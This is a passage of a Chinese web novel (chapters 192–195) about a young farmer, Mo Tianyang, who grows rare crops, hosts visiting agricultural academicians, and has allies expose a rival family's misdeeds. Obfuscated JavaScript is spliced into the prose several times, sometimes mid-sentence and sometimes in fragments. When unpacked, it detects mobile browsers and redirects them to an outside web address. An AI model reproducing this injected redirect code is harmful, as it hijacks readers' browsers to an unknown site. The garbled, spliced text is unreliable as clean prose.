莫天扬深吸一口气，坐下来轻轻揭开药钵的盖子。一股清雅的香气缓缓弥漫开来，颜若曦和刘思雨都不由得屏住了呼吸。这香气清淡悠远，是她们从未闻过的馨香，只一丝就让人感到神清气爽。 “这味道太好闻了，一点都不刺鼻。天扬，你是怎么做到的？” “这香味是我用几种草药调配出来的，能够完美融入落液无痕，而且没有破坏药膏的结构。” “中草药还能调配出香味？我们从来没听说过。” 莫天扬淡淡一笑：“每种草药都有其独特的药性，只要搭配得当，就能产生出多种味道，香气就是其中之一。” 颜若曦压抑着内心的激动，目光灼灼地看向莫天扬：“天扬，你确定没学过中医？” 莫天扬摇摇头：“接触中草药也就是从酿制屠苏开始。在此之前，最多也就是认识一些能卖钱的药材。” “你还真是个怪胎。能用草药调配出这样的香味，说出去的话，别说那些企业集团，就是国内的老中医都会惊掉下巴。” “人家那是救死扶伤，我这是不务正业。快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“勇叔，这跟温室人家花费了近三十万，这可是他的研究基地，怎么可能不过来，过两天就会过来。” “这都半个多月了，我以为他不过来了。” “曹勇，陈亮可不是普通人，受伤之后当然要养一段时间，哪像咱们有病全拼命抗。” 莫天扬微微叹息一声，“放心吧，将来咱们也会有钱，其实有钱并不一定是好事，安安稳稳生活才是真，钱够花就行。” 说着话莫天扬走向一片西红柿地，这一片西红柿和另外一片西红柿有一些不同，单是叶片的颜色就不同，那是他第一次种植的黑色鸡心柿。 “标叔，其他的倒是无所谓，鸡心柿、血瓜瓜、黑草莓是咱们第一次种植，一定要好好照理，这些可是明年咱们的卖点。” 在地中松土的胡标起身，“你放心吧，我们一定会像照顾自己的孩子照顾它们……” 第一百九十二章不识高人 话音未落，跟着莫天扬进入温室的小白突然冲着门口方向低吼了几声。莫天扬下意识转身，微微一愣——只见陈亮教授正笑吟吟地站在那儿，身边还跟着两位白发苍苍、精神矍铄的老人。 “陈教授！”莫天扬又惊又喜，赶忙迎上前去，“不是说还要过两天才回来？您的伤都好了吗？” 陈亮摆摆手，精神看起来相当不错：“一点皮外伤，早没事了。所里的事情一处理完，我就惦记着这边。听说你的黑草莓和鸡心柿都出苗了，我哪还坐得住？” 他边说边走进温室，目光立刻被那片长势独特的黑色鸡心柿吸引。“这就是鸡心柿？叶片的色泽和形态果然与众不同。”他蹲下身，仔细查看苗情，眼中满是专业学者的专注与欣喜。 跟在陈亮身后的两位老人也好奇地四处打量。其中一位忍不住赞叹：“这温室设计得相当科学，保温和湿度控制都做得很好。” 陈亮站起身，拍拍手上的土，对莫天扬笑道：“天扬，来，给你介绍一下。这两位是我的恩师，张自强教授和康燕冰教授。他们虽然已经退休在家，但一听你这里发现了新品种，就按捺不住好奇，非要跟我过来看看不可。” 莫天扬虽然没听说过张自强和康燕冰的名字，但既然能成为陈亮的老师，想必在农业领域都是德高望重的前辈。他对有真才实学的人向来敬重，更何况是两位白发苍苍却依然心系农业的老教授。 “欢迎二位教授莅临指导。”莫天扬诚恳地说道。 张自强和康燕冰打量着眼前这个衣着朴素却目光沉静的年轻人，眼中也满是惊讶。他们从陈亮那里听说，就是这个年轻人今年在青木村的沙地上创造了种植奇迹，培育出了高品质的蔬菜瓜果，这也是他们执意要来的原因之一。 “小莫啊，”张自强温和地开口，“听陈亮说你不是农业院校出身，种植完全采用传统技术，坚持不用化肥、农药，这是真的吗？” 莫天扬挠了挠头，坦诚相告：“张老、康老，您二位来的时候也看到了，青木村地处偏僻，条件有限。如果不想点新路子，根本没法跟浅驼周边的蔬菜种植户竞争。所以我只能尝试种植无公害蔬菜，走差异化路线。” 康燕冰赞许地点点头：“传统农业虽然几乎被现代农业取代，但其中蕴含的智慧却不可小觑。很多人都觉得传统农业无法与现代农业相比，却不知道传统农业中有很多宝贵经验是现代技术学不来的。你的这个思路很好，我们都支持你。以后有什么需要帮忙的，尽管开口。” 莫天扬心中暖暖的。他种植作物靠的是灵泉水的神奇功效，而胡标他们都是地地道道的农民，几十年来坚持传统种植方式。如今有陈亮和他的两位老师相助，他相信明年一定会是个丰收年。 “张老、康老、陈教授，请随我来看看。”莫天扬引着三人深入温室，“这边是血瓜，那边是黑草莓。长势都比预期要好，就是不知道能不能顺利挂果。” 陈亮仔细查看每一处苗圃，不时点头称赞：“土壤湿度控制得不错，通风也恰到好处。天扬，你虽然没学过农学，但这种植手艺可不比科班出身的差。” 十几分钟后，张自强和康燕冰相视一笑，对莫天扬说：“小莫，你去忙吧。我们得好好研究研究你这些黑草莓、鸡心柿和血瓜，这些可都是我们这些老家伙都没见过的新奇物种。” “那好，我去准备晚饭，给您三位接风洗尘。” “不用太麻烦，”康燕冰连忙摆手，“我们这把年纪，晚上也吃不了多少，简单些就好。” 陈亮却笑道：“老师，你们可别小看天扬。他不仅种植技术好，厨艺更是一绝。保证你们吃过他做的饭，连家都不想回了。” 莫天扬带着小白离开温室，刚走出去几步，李国强的电话就打了过来。 “天扬，沛川那边有消息了。那个转账的人确实去了省城，见了一个叫林建明的人。” “林建明？”莫天扬皱眉，“什么来头？” “林浩宇的堂叔，在林氏集团担任要职。”李国强语气凝重，“看来思雨的车祸，确实是林家指使的。” 莫天扬眼神一冷：“继续盯紧他们。既然他们不肯罢休，那就别怪我们不客气了。” 回到家里，莫天扬看着正和爷爷闲聊的颜若曦与刘思雨，心中泛起阵阵涟漪。他犹豫着，不知该不该将他们的推测告诉刘思雨。 “天扬，你知道陈教授带来的那两位老教授是什么人吗？”颜若曦忽然问道。 莫天扬微微一愣：“是陈教授的恩师，两位老爷子退休闲不住，跟着过来看看。” 颜若曦轻轻摇头，唇角含笑：“你上网搜搜他们的名字就知道了。” 想起前几天颜若曦和刘思雨也是这样说起陈亮的，莫天扬拿出手机，输入两人的名字搜索。下一刻，他整个人愣在原地。 张自强、康燕冰，每一位都拥有一长串令人瞩目的荣誉。他们在农业领域拥有多项世界级专利，更是荣获了无数科研工作者梦寐以求的院士头衔。 不仅是张自强和康燕冰，就连在所有人眼中像个普通农民的陈亮，也被誉为最接近院士的农业科研人员。 “他们居然这么厉害……”莫天扬喃喃道，眼中满是难以置信。 看着莫天扬惊讶的模样，颜若曦不由轻笑：“你以为呢？别的农业机构请到他们其中一位，都要大肆宣传好几年。你这里倒好，两位顶级院士亲自上门，你却连人家是谁都不知道。” 莫天扬嘿嘿一笑，挠了挠头：“那这么说，我这次可是赚大了？” “那当然！”颜若曦眼中闪着光，“他们在农业领域的造诣极高，能屈尊来你这儿，对你的种植事业绝对是一大助力。你得想办法让他们多留些日子，哪怕从他们那儿学到一点皮**，也够你受用终身了。” 莫天扬心中震动，这才意识到自己无意间迎来了何等珍贵的机遇。他郑重地点头：“我明白了，一定会好好把握。” 正说着，刘思雨轻声插话，目光中带着关切：“天扬，刚才看你在外面接电话时神色不太对，是出什么事了吗？” 莫天扬犹豫片刻，终究决定暂时隐瞒。他温和地笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16392065|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑：“没什么大事，就是餐馆那边还有些后续要处理。你们先聊，我去准备晚饭，得好好招待两位老教授。” 走进厨房，莫天扬心绪却难以平静。他既为两位院士的到来而兴奋，又为林家的阴险而愤怒。手中的菜刀在案板上娴熟地舞动，心思却早已飘远。 当晚，一桌色香味俱全的农家宴让两位老教授赞不绝口。张自强品尝着各种山货，忍不住感叹：“小莫啊，虽说这山货都是顶级，可还是你这手艺真是绝了。” 康燕冰也点头称许：“别说是山货，就是这些普通蔬菜的本味如此浓郁，我已经很多年没吃到过这么地道的农家菜了。” 陈亮在一旁笑道：“老师，我没说错吧？天扬这里可是块宝地。” 饭后，三位专家又拉着莫天扬讨论了许久种植技术，直到夜深才依依不舍地回房休息。 第二天一早，莫天扬刚刚起床，他就看到温室那边已经亮了灯。他披衣前去查看，只见三位教授早已在温室里忙碌起来，张自强和康燕冰正仔细地记录着各项数据，陈亮则在检查土壤样本。 “小莫，快来！”张自强一见到他就招手，“你这个黑草莓的苗情很不一般，叶片厚实，色泽深绿，比我见过的任何品种长势都要好。” 康燕冰也指着血瓜苗说：“还有这个品种，藤蔓粗壮，叶面有光泽，明显生命力很旺盛。你平时是怎么施肥的？” 莫天扬心中一动，灵泉水的秘密自然不能透露，只好含糊其辞：“就是用一些传统的农家肥，可能我们这里的土壤特别适合这些作物生长。” 三位专家相视一眼，显然对这个解释并不完全满意，但也没有多问，只是更加专注地研究起来。 一连几天，张自强和康燕冰完全沉浸在温室的研究中，时常为某个发现兴奋不已。莫天扬则趁机请教了许多种植方面的难题，两位老教授都倾囊相授，让他获益匪浅。 也不知道是因为莫天扬的厨艺超绝，还是温室中的每一种蔬菜、瓜果吸引着张子强、康燕冰，这让两位已经闲下来的老人每一天绝大多数时间都在温室，他们从未提起过离开这两个字。 然而平静的日子没过几天，李国强再次带来消息：那个人找林建明的次数明显增加，他们似乎在密谋什么。 莫天扬站在温室门口，望着里面专心致志研究的三位教授，又想起潜伏在暗处的林家威胁，不禁深吸一口气。他知道，必须尽快采取行动，否则一旦林家先发制人，恐怕会波及到这些无辜的人。 “强哥，”他压低声音，“让我们的人继续盯着，一有动静立即告诉我。另外，想办法查清楚那个转账的最近的行踪。” 李国强凝重地点头：“明白。天扬，要不要先采取一些措施一下刘思雨的父母？” 莫天扬目光坚定：“让人暗中盯着，到现在我也没和思雨说起这件事情，最好不要让她的父母发现异常。” 望着远处连绵的青木山脉，莫天扬握紧了拳头。无论是为了守护这片土地，还是保护身边重要的人，他都必须赢下这场暗中的较量。 第一百九十三章胡亮的亮点 “慧姐，今天这菜的味道……”莫天扬尝了一口，微微顿了一下。 曹慧微微一怔，下意识看了眼身旁的胡亮，脸颊瞬间泛红：“天扬，这菜……是不是味道不对？” 还没等莫天扬回答，胡亮急忙站起身，满脸尴尬地看向莫天扬：“天扬，不怪慧慧，是我非要试试，这道菜是我做的。” 胡标听胡亮这么一说，眉头顿时皱起，眼中流露出一丝失落。他知道胡亮之所能能够来莫天扬这里，莫天扬完全是看在他和胡振南的面子。 这段时间胡亮天天往莫天扬这里跑，他原本以为他终于走上正路了，没想到却闹出这么一出，这要让莫天扬怎么看？ 莫天扬看向胡亮，目光中闪过一丝探究：“亮哥，这菜真是你做的？”问话时，他的眼底掠过一道精光。 “我、我这就端下去重做……” 莫天扬摆了摆手，转而看向正与张自强、康燕冰同坐的莫啸：“爷爷，您尝尝看。” 众人皆是一愣。莫啸依言伸筷夹了一口菜，细细品味后点了点头，目光落在胡亮身上：“亮子，这应该是你第一次做菜吧？” 胡亮挠了挠头，不好意思地说：“以前从来没做过。这不是这段时间天天看天扬教慧慧做菜，我也偷学了几手。今天正好天扬有事，我就自作主张试了试……” 莫啸颔首，看向孙子：“天扬，你怎么看？” “火候和手法上都差了不少，不过……”莫天扬顿了顿，眼中闪过赞许之色，“却别有一番风味。亮哥在做菜方面，很有天赋。” “天扬，你说的是真的？”巨大的反差让胡亮瞬间欣喜若狂，连声音都带着颤抖。 莫天扬深吸一口气，正色道：“亮哥，其实这段时间我和标叔他们一直在商量给你找个合适的活计。这是你第一次动手做菜，虽然问题不少，但却有着常人没有的灵性。以后你就跟着我学做菜吧，只要你肯努力，将来一定能出人头地。” “愿意，我愿意！”胡亮手足无措，脸上写满激动，眼中甚至泛起了泪光。这么多年来，他在村民眼里就是个不学无术的二混子，如今终于得到认可，而且还是被他最敬重的莫天扬认可，叫他如何不激动？ “亮哥，你要知道，学厨这条路可不轻松，要吃很多苦，你……” 胡亮抹了把眼泪，深吸一口气：“什么苦我都能吃！” “那就好。” 胡亮重新坐下，看了眼身边的曹慧。曹慧也是眼眶泛红，冲他鼓励地点点头。 “天扬，亮子可是一天厨房都没进过，他真的能行吗？”胡标还是有些担心。 莫天扬肯定地点头：“虽说亮哥年纪稍大，悟性可能不如年轻人，但只要他肯下苦功，将来无论走到哪里，都一定会有人赏识他的厨艺。” 胡标长出一口气，脸上终于露出欣慰的笑容：“那就太好了。” 无意中发现了胡亮的厨艺天赋，莫天扬的生活变得更加忙碌。得到认可的胡亮更是刻苦用功，每天都是最早来、最晚走，除了跟着莫天扬学习外，连厨房的清洁工作也一人包揽。 不过短短几天时间，胡亮做的菜就已经有模有样。连莫啸都对胡亮的厨艺表示满意，很多时候胡亮和曹慧在厨房忙碌时，莫啸都会亲自进去指点。这让胡标彻底放下了心。 有了莫啸亲自下场指导，莫天扬也从厨房中解放出来。但即便如此，他每天依然忙得不可开交。 温室里，黑草莓、西红柿、血瓜都已经开花。从来到青木村后就再没提过离开的张自强、康燕冰和陈亮更是忙得不可开交。一直给三人打下手的曹勇、胡标、陈宏利等人，也从中学到了不少宝贵的种植知识。 这天清晨，莫天扬刚走进温室，就被眼前的景象惊住了。张自强和康燕冰两位老教授正蹲在黑草莓苗圃前，激动地低声讨论着什么。陈亮站在一旁，脸上也满是兴奋之色。 “小莫，快来看！”张自强一见到他，立即招手，“奇迹，简直是奇迹啊！” 莫天扬快步走过去，顺着张教授指的方向看去，只见几株黑草莓的枝头，竟然已经结出了小小的果实。那些果实呈现出深紫近黑的色泽，在晨光中泛着奇异的光泽。 “这才多少天，竟然就结果了？”莫天扬也感到不可思议。虽然他预料到灵泉水浇灌的作物生长速度会快一些，但这结果的速度还是超出了他的预期。 康燕冰激动地拿出放大镜，仔细观察着那些小果实：“不仅结果早，果形也特别饱满。你们看这色泽，我研究果树这么多年，从未见过这样的品种。” 陈亮笑着拍拍莫天扬的肩膀：“天扬，你这块地简直就是块宝地。老师他们都说，这里的作物生长周期比正常情况缩短了将近一半，而且长势都特别好。” 莫天扬心中暗忖，这自然是灵泉水的功效，但表面上只能笑着应和：“可能是我们这里的水土特别适合这些作物吧。” 三位专家相视一笑，显然对这个解释并不完全信服。但事实摆在眼前，更何况黑草莓、血瓜瓜以及黑色鸡心柿都是青木山特有的品种，在其他地区从未出现过。即便心存疑虑，他们也找不出更合理的解释。 "张老、康老，血瓜瓜那边也请您们多费心。“莫天扬适时转移话题，”今年夏天我试种了几株，用我们的土方法种植，挂果情况和山里的野生品种差不多。要不您们也试试？" "没问题，"张自强爽快地答应，”回头我们就去仔细研究。你用传统方法，我们用科研方法，到时候对比结果，好好分析研究。来年你要大规模种植的话，这些数据就能派上大用场。" 康燕冰补充道："对了，多让村里那些年轻人来跟着学学。胡标他们几个年纪都不小了，可你的事业才刚刚起步……" 莫天扬会意地点头："行，回头我和他们说。" 刚走出温室，王海龙的声音就从远处传来：”天扬，来一下。" 王海龙的住处，他谨慎地看了眼窗外，关上门压低声音：”天扬，他们又转出一笔百万巨款，收款方还是个普通货车司机。看样子，他们又要动手了。" 莫天扬眼神一凛："目标是谁？" "是刘成祥夫妻。他们想复制思雨的车祸。交易全过程都被国强录下来了，如果需要，随时可以控制那个司机。" "如果把这些证据交出去，林家那边……"35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16392066|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>"这一切都是林建明指使的，他肯定完蛋。但要是他不交代，林家不会受到太大影响。" 莫天扬目光转冷："就算不能让他们伤筋动骨，也得让他们知道疼。林建明有没有其他黑料？" "有，还不少。如果爆出去，林氏集团肯定会受影响。但我们担心这样会打草惊蛇。" 莫天扬沉吟片刻："林家这些年嚣张跋扈，应该得罪了不少人。先让他们难受一下，以他们嚣张的性子，很可能会狗咬狗。这样咱们或许能有更大机会。" "行，我这就通知国强。" 等王海龙打完电话，莫天扬深吸一口气："浅驼那边怎么样了？" "餐馆的房东找了徐志国，以餐馆被砸为由要求解除租赁合同。那边已经有人挂出了新招牌，店名大同小异，看样子是想借着‘青木餐馆’的名头赚钱。" "莫栓和安云飞有什么动静？" "莫栓带人威胁过徐志国他们，要求四个去给他们打工。放话说要是不答应，在浅驼和沛川一带，徐志国他们别想开任何餐馆。" "另外，经过这段时间调查，我们找到了不少安云飞的黑料。一旦爆出去，够安云飞喝一壶的。" "那就先除掉安云飞这个毒瘤。没了安云飞，莫栓那个草包翻不起什么浪花。" 莫天扬从王海龙那里回来时，天色已近黄昏。他刚进入楼房，就闻到厨房里飘出一股诱人的香气。只见胡亮系着围裙，正专注地翻炒着锅里的菜，曹慧在一旁打着下手，两人配合默契。 "亮哥，今天做什么好吃的呢？“莫天扬笑着走进厨房。 胡亮闻声回头，脸上带着自豪的笑容：”天扬，你来得正好。我今天试着做了你教的那道红烧茄子，莫爷爷刚才尝过了，说比上次进步很大。" 莫天扬凑近锅边看了看色泽，又嗅了嗅香味，赞许地点头："火候掌握得不错，看来这几天没白练。" 就在这时，张自强和康燕冰也从温室那边回来，一边走还一边热烈地讨论着什么。 "小莫，你来得正好。"康燕冰兴奋地说，"我们发现你那黑草莓的花期比普通草莓要长很多，这是个重大发现啊！" 张自强接着说："而且病虫害抵抗力特别强，我们观察了这么多天，几乎没发现任何病害。这品种要是推广开来，对农户来说可是个福音。" 莫天扬心中一动，正要接话，却见刘思雨从屋里走出来，脸上带着几分忧虑。 ”天扬，刚我爸妈来电话，说最近总觉得有人老是跟着他们。“刘思雨小声说道，眼神中透着不安。 莫天扬淡淡一笑：”别担心，可能是你多心了。要不这样吧，我这就让海哥去浅驼将叔叔阿姨接过来住几天。" “行，我这就给他们打电话，让他们收拾一下。” 等三位教授和刘思雨都离开后，莫天扬立刻沉下脸来，走出院子拨通了王海龙的电话："让他们加快速度，今晚就把安云飞的黑料放出去。另外刘思雨父母发现有人经常跟踪他们，你去浅驼将他们接过来。" “那林家的事情?” “明天早上放出去。” "明白，我这就去安排。" 第一百九十四章暴雷 第二天一早，莫天扬刚从酒坊回来，看见胡亮正兴冲冲地跑进来。 "天扬，出大事了！安云飞上新闻了！"胡亮举着手机，屏幕上赫然是安云飞被执法者带走的画面。 莫天扬接过手机，只见新闻标题写着"浅驼安云飞涉嫌多项违法违纪行为"。报道详细列举了安云飞这些年来的种种劣迹，包括**、欺行霸市、威胁他人等多项罪名。 "这下安云飞可要倒大霉了。"胡亮兴奋地说，"真是报应！" 莫天扬淡淡一笑，心里明白这是王海龙他们的手笔。但他还是嘱咐道："亮哥，这事咱们看看就好，别在外面多说。省得让人们觉得这事情和咱们有关系。" "我知道的。“胡亮连连点头，随即又想起什么似的说，”对了，张教授他们一早就去温室了，说是有重要发现要告诉你。" 莫天扬来到温室时，三位教授正围在一起讨论着什么，个个脸上都带着兴奋的神色。 "小莫，你快来看！"张自强招手叫他过去，"我们发现了个不得了的事情。" 康燕冰指着眼前的黑色鸡心柿植株说："这些植株不仅抗病性强，而且对土壤养分的吸收效率远超普通品种。更重要的是，它们在低温环境下的表现相当出色。" 陈亮补充道：“这意味着这些品种特别适合在北方地区推广种植，甚至可以解决部分地区的冬季蔬菜供应问题。" 莫天扬心中暗喜，这正是他想要的结果。但他表面上还是保持着平静：”这都是三位老师研究有方，我也就是种着试试。" "不，这不简单。"张自强严肃地说，"这些品种的商业价值不可估量。小莫，你要尽快申请品种权保护，然后找合适的合作伙伴进行推广。" 就在这时，莫天扬的手机震动起来。他看了一眼，是王海龙发来的消息："安云飞已被带走调查，莫栓吓得跑路了。" 莫天扬收起手机，望着温室里长势喜人的蔬菜，嘴角微微上扬。这场较量，才刚刚开始。而他，已经准备好了。这不过是他的第一步。 在温室待了一会，莫天扬回到楼房。刚进门，就看见刘思雨朝他招手，俏脸上洋溢着兴奋的神色。 “这是怎么了？安云飞被抓就能让你激动成这样？”莫天扬笑着打趣道。 “什么安云飞啊，”刘思雨嗔怪地瞪了他一眼，“刚刚婧雅打电话来，沛川那边也出大事了！” “什么大事？”莫天扬故作惊讶，心里却早已猜到大概是林家那边出事了。 “林家被爆出很多黑料！” “林家？哪个林家？” “就是那个**林浩宇的家族啊！” “是林浩宇的父母？” “不是，是他的一个堂叔，叫林建明。听说涉嫌**，还有****、涉黑这些事情，全被人捅到网上了。就算这事和林家没关系，林氏集团肯定也要受很大影响。” 莫天扬心中一动：“**……” “对啊，不过婧雅没说太详细。” 莫天扬点点头，目光转向一旁的刘成祥和杨丽：“叔叔、阿姨，昨天思雨说你们感觉一直有人跟踪……” “是啊，”刘成祥叹了口气，“这几天上下班总觉得有人跟着，就连回家都有人在小区里打听我们的事。” 莫天扬眼神闪烁了几下，温声安慰道：“或许是这些年叔叔阿姨工作太辛苦，再加上前段时间思雨的事压力太大。要不在这里好好调养几天？以后上下班让海哥接送你们。” “那也太麻烦你了。”杨丽连忙推辞。 “没事的，”莫天扬微微一笑，“上学那会儿思雨可没少帮我，要不然我可能中途就辍学了。” 刘思雨噗嗤一笑：“哪有你说得那么严重？我不过是往你书里塞了几张饭票罢了。你是怎么发现的？” 莫天扬眼中带着笑意：“食堂的石老师直接给我饭票，每次你一买饭票，我书里就会多出几张，不是你还能有谁？” 杨丽轻轻叹了口气：“这或许就是老人们常说的缘分吧。要不是思雨当初结下的善缘，哪会有现在的善果。” “天扬，”颜若曦忽然想起什么，“你抽空让宏利他们去一趟浅驼吧，你需要的那些药草到了。” 莫天扬一愣，“这么快？” 颜若曦咯咯一笑，“不是你订的那一批，你上次不是给婧雅拿了一些落叶无痕，也没收人家钱，婧雅觉得不好意思，就从我这里要了你所需要的药草。” 莫天扬不由地摇头，正要转身去安排，却听见门外传来一阵急促的脚步声。王海龙快步走进来，神色凝重地朝他使了个眼色。 莫天扬会意，对刘思雨他们笑着说道：“我先去安排药草的事，你们聊。”说着便与王海龙一前一后走出客厅。 来到院子里，王海龙压低声音：“林建明的事情已经开始发酵，林氏集团的股价今天一早暴跌。不过...”他顿了顿，面色更加严肃，“我们监测到林家似乎有所察觉，开始追查消息来源了。” 莫天扬眼神一凛：“会不会查到咱们这里？” “不会。”王海龙肯定地说，“国强做事很干净，曾经我们在海外执行任务的时候，在海外有有专属服务器，经过层层转发才在国内网络上转发出来，即使是顶级黑客都不一定查到。但是...” “但是什么？” “林建明有个儿子，叫林耀东，一直都在海外。听说这人比林建明更狠，而且睚眦必报。现在林建明出事他应该会回来……” 莫天扬沉吟片刻，目光投向远处的温室，忽然问道：“你们的那几个伙伴应该过来了吧。” “前几天就过来了，这几天都是他们在联手做事。你放心，他们八个在一起肯定不会有事。” 莫天扬摇摇头，“我不是这个意思，曾经你们都是毫无牵挂，这现在都是拖家带口，所以接下来一定要小心，不能给他们任何机会，更不能暴露出自己。” 王海龙深吸口气，“天扬，我会将你的意思转达出去，谢谢你。” 就在这时，张自强从温室那边招手叫他们：“小莫，快过来！有个重大发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现在的摊子才刚铺开，将来若真要发展壮大，还不知要经历多少风雨。 “嗡嗡——” 手机突然震动起来。莫天扬掏出手机，看到屏幕上显示的陌生本地号码，不由得一愣。他平时很少用电话，就连大学时期知道他这个号码的人也屈指可数。 莫天扬深吸一口气，接起电话：“你好，哪位？” “莫天扬，我是楚婧雅。” 莫天扬微微一怔：“楚婧雅？是不是若曦她们手机打不通？” “我找你。”楚婧雅的语气格外严肃，“若曦应该已经跟你说过林建明的事了吧？那你知道林建明**的目标是谁吗？” “是谁？” “是刘思雨的父母。”楚婧雅压低了声音，“思雨现在在你那里，我不方便直接告诉她。所以最近最好让她和她的父母都住在你那边。另外还有一件事……”她顿了顿，声音更加凝重，“就在刚才，林建明和那个给他办事的人，全部意外死亡了……” 第一百九十五章透风报信？ “他们不是已经被羁押了吗？怎么会……”莫天扬的声音中带着难以置信。 电话那头，楚婧雅沉默了片刻。莫天扬摇摇头，想到林家的底蕴——不仅在沛川，在其他地区也盘根错节，势力庞大。如果他们真想做什么，确实易如反掌。 “楚婧雅，谢谢你告诉我这些。” “莫天扬，这些消息根本没有对外公布，我这么做是违反纪律的。你自己知道就好，千万别传出去。” 楚婧雅的声音压得很低，“林家是什么样的存在，你根本想象不到。思雨他们根本没有能力爆出这些事情，但我还是担心林家会迁怒于她。我的意思你应该明白，现在只有住在你那里，他们才算安全。” 莫天扬深吸一口气：“我明白。无论如何，真的谢谢你。” “你明白就好。你自己那边也要多加小心。对了，浅驼那边的安云飞也被爆雷了，你听说了吗？” “早上胡亮和我说了。他做了那么多坏事，那是罪有应得。” “这件事……和你有关系吗？” 莫天不由得一怔：“怎么可能？我天天待在村里，连浅驼都去不了几次，能知道什么？你该不会是因为我和莫老三、莫栓一家的事情，就觉得……” “我就随便问问。”楚婧雅打断他，“我说的这些你都记在心里就好，千万别告诉任何人。你那边一定要小心。” 挂断电话，莫天扬的神情格外凝重。林建明这样的旁系子弟都能突然暴毙，这是他万万没想到的。林建明为何会死，他心里很清楚——林家那几位，为了自保，连自己的族亲都能舍弃。 “这林家，以后必须小心应对了。” 他再次来到王海龙的住处。王海龙见他去而复返，颇为意外，但看到莫天扬凝重的神色，立刻意识到事情不简单：“天扬，怎么了？” 楚婧雅的话可以对颜若曦和刘思雨隐瞒，但对王海龙没必要——毕竟这些事情都是他们一手策划的。 当听到林建明和那个买凶者意外死亡的消息，王海龙的神色也变得异常凝重。 “这林家还真是狠，连自己人都能舍弃。天扬，你这消息是从哪儿来的？” “楚婧雅透露的，都是内部消息。她也是担心刘思雨被报复，所以……” 王海龙眼中闪过一丝惊讶。他们调查林家时，自然摸清了楚婧雅的背景。这位女警官来过几次青木村，他都清楚，但他没想到她会违反纪律，将内部消息透露给莫天扬。 “天扬，林家这是断尾求生，下了狠心。经过这次，他们肯定会追查消息来源。虽然暂时查不到我们这里，但沛川那边恐怕要变天了。这对你来说，倒也算是件好事。” “海哥，他们连自己人都能舍弃，还有什么做不出来？” 王海龙深吸一口气，目光坚定：“天扬，我们会好好商量对策。青木村有青羽、青峰和青狼群守护，很安全。让刘思雨他们留在这里，绝对不会有事。” 走出王海龙的住所，莫天扬深吸一口气，努力平复心绪。他没有直接回去，而是带着小白穿过工地，走向远处的池塘。 地下仓库的主体工程已经完工，上方回填了两米厚的土壤，地表还细心地铺上了草帘保湿。若是不知内情的外人到来，根本不会想到这片平静的土地下，竟隐藏着一个占地四五亩的地下仓库。 池塘依旧静静地躺在那里，曾经盛放的荷花早已凋零。由于天气转冷，水面上漂浮着些许冰凌。不过池塘周围已经铺就了一圈鹅卵石小路，四角各建了一座雅致的凉亭。曾经分隔深水区与浅水区的堤道也经过了翻修，道路两侧装上了结实的栏杆。 踏着松软的草帘走到池塘边，莫天扬注视着浅水处密密麻麻觅食的虾蟹，眼中闪过思索之色。此时的虾蟹正肥美，而灵泉空间中的虾蟹更是数不胜数，他在考虑是否要捕捞一批出售。 忽然，他的目光被一片水域吸引——清澈的水底，赫然躺着一截截碗口粗细、乳白莹润的莲藕。莫天扬心头一动，这些荷莲都源自灵泉空间，自地下仓库施工以来，他还是第一次来这里，竟差点忘了它们的存在。 他掏出手机，拨通了胡振南的电话：“振南，拿水裤过来，咱们弄点莲藕尝尝。” 当莫天扬和胡振南抬着清洗干净的莲藕回到楼房时，连在客厅闲聊的颜若曦和杨丽等人都被惊动了。 众人看着一截截碗口粗细、晶莹剔透的莲藕，眼睛都直了。杨丽忍不住赞叹：“天扬，我最爱吃莲藕，可吃了这么多年，从来没见过品相这么好的。” 莫天扬淡淡一笑：“春天时就种下了，这段时间院子施工，都给忘了。刚才去池塘那边才想起来。我去做几道菜尝尝。” “我先拍几张照片！”颜若曦拿起几截莲藕，忽然微微一愣，“天扬，这莲藕居然有香气？” 这话让众人都愣住了。莲藕在浅驼这一带很常见，价格也不高，但即便是处理好的莲藕也几乎闻不到什么香味，可现在…… 大家凑近一闻，果然如颜若曦所说，每一截莲藕都散发着一种独特的清香。香味很淡，但靠近就能闻到。 “还真有香味，挺好闻的。” 用餐时分，当曹慧端着一大盆汤走来时，所有人都不由一愣。他们不约而同地转头，都能闻到浓郁的排骨香气，但在这肉香中，还夹杂着一丝从未闻过的清雅香气。这香气虽淡，却让人瞬间食欲大开。 “大家尝尝，这是天扬做的莲藕排骨汤。” 几个月相处下来，胡标、曹勇等人虽与莫天扬没有血缘关系，却早已亲如一家。等莫天扬入座，大家动筷时，仿佛约好了一般，都先伸向了那盆莲藕排骨汤。 